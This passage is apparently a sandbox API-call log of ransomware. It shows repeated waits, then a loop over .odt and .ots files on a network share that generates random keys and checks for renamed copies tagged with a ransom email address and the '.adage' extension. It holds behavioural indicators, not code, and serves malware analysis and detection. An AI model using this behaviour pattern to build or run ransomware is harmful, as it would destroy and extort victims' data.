dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.184] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.185] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.186] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.187] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.187] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.187] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.187] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.187] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0039.909] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.909] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gkNzsfx.odt" (normalized: "\\\\192.168.0.1\\documents\\gknzsfx.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.914] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=86536) returned 1 [0039.914] CloseHandle (hObject=0x188) returned 1 [0039.914] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gkNzsfx.odt" (normalized: "\\\\192.168.0.1\\documents\\gknzsfx.odt")) returned 0x80 [0039.914] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gkNzsfx.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\gknzsfx.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.914] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gkNzsfx.odt" (normalized: "\\\\192.168.0.1\\documents\\gknzsfx.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.922] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.922] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KeH2iEJnN7k1r.odt" (normalized: "\\\\192.168.0.1\\documents\\keh2iejnn7k1r.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.926] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=48494) returned 1 [0039.926] CloseHandle (hObject=0x188) returned 1 [0039.926] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KeH2iEJnN7k1r.odt" (normalized: "\\\\192.168.0.1\\documents\\keh2iejnn7k1r.odt")) returned 0x80 [0039.926] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KeH2iEJnN7k1r.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\keh2iejnn7k1r.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.926] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KeH2iEJnN7k1r.odt" (normalized: "\\\\192.168.0.1\\documents\\keh2iejnn7k1r.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.932] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.932] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OpdqDACZhn.ots" (normalized: "\\\\192.168.0.1\\documents\\opdqdaczhn.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.934] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=93824) returned 1 [0039.934] CloseHandle (hObject=0x188) returned 1 [0039.934] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OpdqDACZhn.ots" (normalized: "\\\\192.168.0.1\\documents\\opdqdaczhn.ots")) returned 0x80 [0039.934] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OpdqDACZhn.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\opdqdaczhn.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.934] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OpdqDACZhn.ots" (normalized: "\\\\192.168.0.1\\documents\\opdqdaczhn.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.936] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.936] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1HtpGhRDb.ots" (normalized: "\\\\192.168.0.1\\documents\\1htpghrdb.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.941] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=44727) returned 1 [0039.941] CloseHandle (hObject=0x188) returned 1 [0039.941] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1HtpGhRDb.ots" (normalized: "\\\\192.168.0.1\\documents\\1htpghrdb.ots")) returned 0x80 [0039.941] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1HtpGhRDb.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\1htpghrdb.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.941] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1HtpGhRDb.ots" (normalized: "\\\\192.168.0.1\\documents\\1htpghrdb.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.943] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.943] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\FPTqG3qP.ots" (normalized: "\\\\192.168.0.1\\documents\\fptqg3qp.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.948] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=46756) returned 1 [0039.948] CloseHandle (hObject=0x188) returned 1 [0039.948] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\FPTqG3qP.ots" (normalized: "\\\\192.168.0.1\\documents\\fptqg3qp.ots")) returned 0x80 [0039.948] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\FPTqG3qP.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\fptqg3qp.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.948] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\FPTqG3qP.ots" (normalized: "\\\\192.168.0.1\\documents\\fptqg3qp.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.951] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.951] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EInIzXIEURKe2P.odt" (normalized: "\\\\192.168.0.1\\documents\\einizxieurke2p.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.953] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=23124) returned 1 [0039.953] CloseHandle (hObject=0x188) returned 1 [0039.953] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EInIzXIEURKe2P.odt" (normalized: "\\\\192.168.0.1\\documents\\einizxieurke2p.odt")) returned 0x80 [0039.953] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EInIzXIEURKe2P.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\einizxieurke2p.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.953] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EInIzXIEURKe2P.odt" (normalized: "\\\\192.168.0.1\\documents\\einizxieurke2p.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.955] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.955] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sAXOlTuEN.odt" (normalized: "\\\\192.168.0.1\\documents\\saxoltuen.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.958] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=41692) returned 1 [0039.958] CloseHandle (hObject=0x188) returned 1 [0039.958] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sAXOlTuEN.odt" (normalized: "\\\\192.168.0.1\\documents\\saxoltuen.odt")) returned 0x80 [0039.958] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sAXOlTuEN.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\saxoltuen.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.958] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sAXOlTuEN.odt" (normalized: "\\\\192.168.0.1\\documents\\saxoltuen.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.960] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.960] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUsEMWHFeMlUg8RpMG.ots" (normalized: "\\\\192.168.0.1\\documents\\fusemwhfemlug8rpmg.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.963] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=76814) returned 1 [0039.963] CloseHandle (hObject=0x188) returned 1 [0039.963] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUsEMWHFeMlUg8RpMG.ots" (normalized: "\\\\192.168.0.1\\documents\\fusemwhfemlug8rpmg.ots")) returned 0x80 [0039.963] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUsEMWHFeMlUg8RpMG.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\fusemwhfemlug8rpmg.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.963] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUsEMWHFeMlUg8RpMG.ots" (normalized: "\\\\192.168.0.1\\documents\\fusemwhfemlug8rpmg.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.975] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.975] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F4BCJQiL.ots" (normalized: "\\\\192.168.0.1\\documents\\f4bcjqil.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.978] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=66438) returned 1 [0039.978] CloseHandle (hObject=0x188) returned 1 [0039.978] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F4BCJQiL.ots" (normalized: "\\\\192.168.0.1\\documents\\f4bcjqil.ots")) returned 0x80 [0039.980] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F4BCJQiL.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\f4bcjqil.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.981] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F4BCJQiL.ots" (normalized: "\\\\192.168.0.1\\documents\\f4bcjqil.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.989] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0039.989] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qys9GnLkOeS.odt" (normalized: "\\\\192.168.0.1\\documents\\qys9gnlkoes.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.995] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=43113) returned 1 [0039.998] CloseHandle (hObject=0x188) returned 1 [0039.998] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qys9GnLkOeS.odt" (normalized: "\\\\192.168.0.1\\documents\\qys9gnlkoes.odt")) returned 0x80 [0039.998] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qys9GnLkOeS.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\qys9gnlkoes.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0039.998] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qys9GnLkOeS.odt" (normalized: "\\\\192.168.0.1\\documents\\qys9gnlkoes.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.009] ResetEvent (hEvent=0x148) returned 1 [0040.009] SetEvent (hEvent=0x14c) returned 1 [0040.009] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.009] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hoPVmBvF77.odt" (normalized: "\\\\192.168.0.1\\documents\\hopvmbvf77.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0040.016] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=75049) returned 1 [0040.016] CloseHandle (hObject=0x188) returned 1 [0040.016] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hoPVmBvF77.odt" (normalized: "\\\\192.168.0.1\\documents\\hopvmbvf77.odt")) returned 0x80 [0040.017] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hoPVmBvF77.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hopvmbvf77.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.017] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hoPVmBvF77.odt" (normalized: "\\\\192.168.0.1\\documents\\hopvmbvf77.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.018] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0040.090] ResetEvent (hEvent=0x148) returned 1 [0040.090] SetEvent (hEvent=0x14c) returned 1 [0040.091] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.091] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZRruaCKjxo6i.ots" (normalized: "\\\\192.168.0.1\\documents\\zrruackjxo6i.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.130] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=79388) returned 1 [0040.130] CloseHandle (hObject=0x180) returned 1 [0040.130] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZRruaCKjxo6i.ots" (normalized: "\\\\192.168.0.1\\documents\\zrruackjxo6i.ots")) returned 0x80 [0040.131] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZRruaCKjxo6i.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zrruackjxo6i.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.131] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZRruaCKjxo6i.ots" (normalized: "\\\\192.168.0.1\\documents\\zrruackjxo6i.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.315] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.315] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oq2biITomiSUVed.odt" (normalized: "\\\\192.168.0.1\\documents\\oq2biitomisuved.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.446] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=50308) returned 1 [0040.446] CloseHandle (hObject=0x180) returned 1 [0040.446] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oq2biITomiSUVed.odt" (normalized: "\\\\192.168.0.1\\documents\\oq2biitomisuved.odt")) returned 0x80 [0040.446] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oq2biITomiSUVed.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\oq2biitomisuved.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.446] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oq2biITomiSUVed.odt" (normalized: "\\\\192.168.0.1\\documents\\oq2biitomisuved.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.463] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.464] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IyGa2UNby.ots" (normalized: "\\\\192.168.0.1\\documents\\iyga2unby.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.489] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=67519) returned 1 [0040.489] CloseHandle (hObject=0x180) returned 1 [0040.489] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IyGa2UNby.ots" (normalized: "\\\\192.168.0.1\\documents\\iyga2unby.ots")) returned 0x80 [0040.490] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IyGa2UNby.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\iyga2unby.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.490] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IyGa2UNby.ots" (normalized: "\\\\192.168.0.1\\documents\\iyga2unby.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.498] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.498] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z5eu5ng8aXBTiqaLM.odt" (normalized: "\\\\192.168.0.1\\documents\\z5eu5ng8axbtiqalm.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.502] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=39779) returned 1 [0040.502] CloseHandle (hObject=0x180) returned 1 [0040.502] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z5eu5ng8aXBTiqaLM.odt" (normalized: "\\\\192.168.0.1\\documents\\z5eu5ng8axbtiqalm.odt")) returned 0x80 [0040.503] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z5eu5ng8aXBTiqaLM.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\z5eu5ng8axbtiqalm.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.503] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z5eu5ng8aXBTiqaLM.odt" (normalized: "\\\\192.168.0.1\\documents\\z5eu5ng8axbtiqalm.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.510] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.510] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\y4KxErTVQYWoCrSXjxG.odt" (normalized: 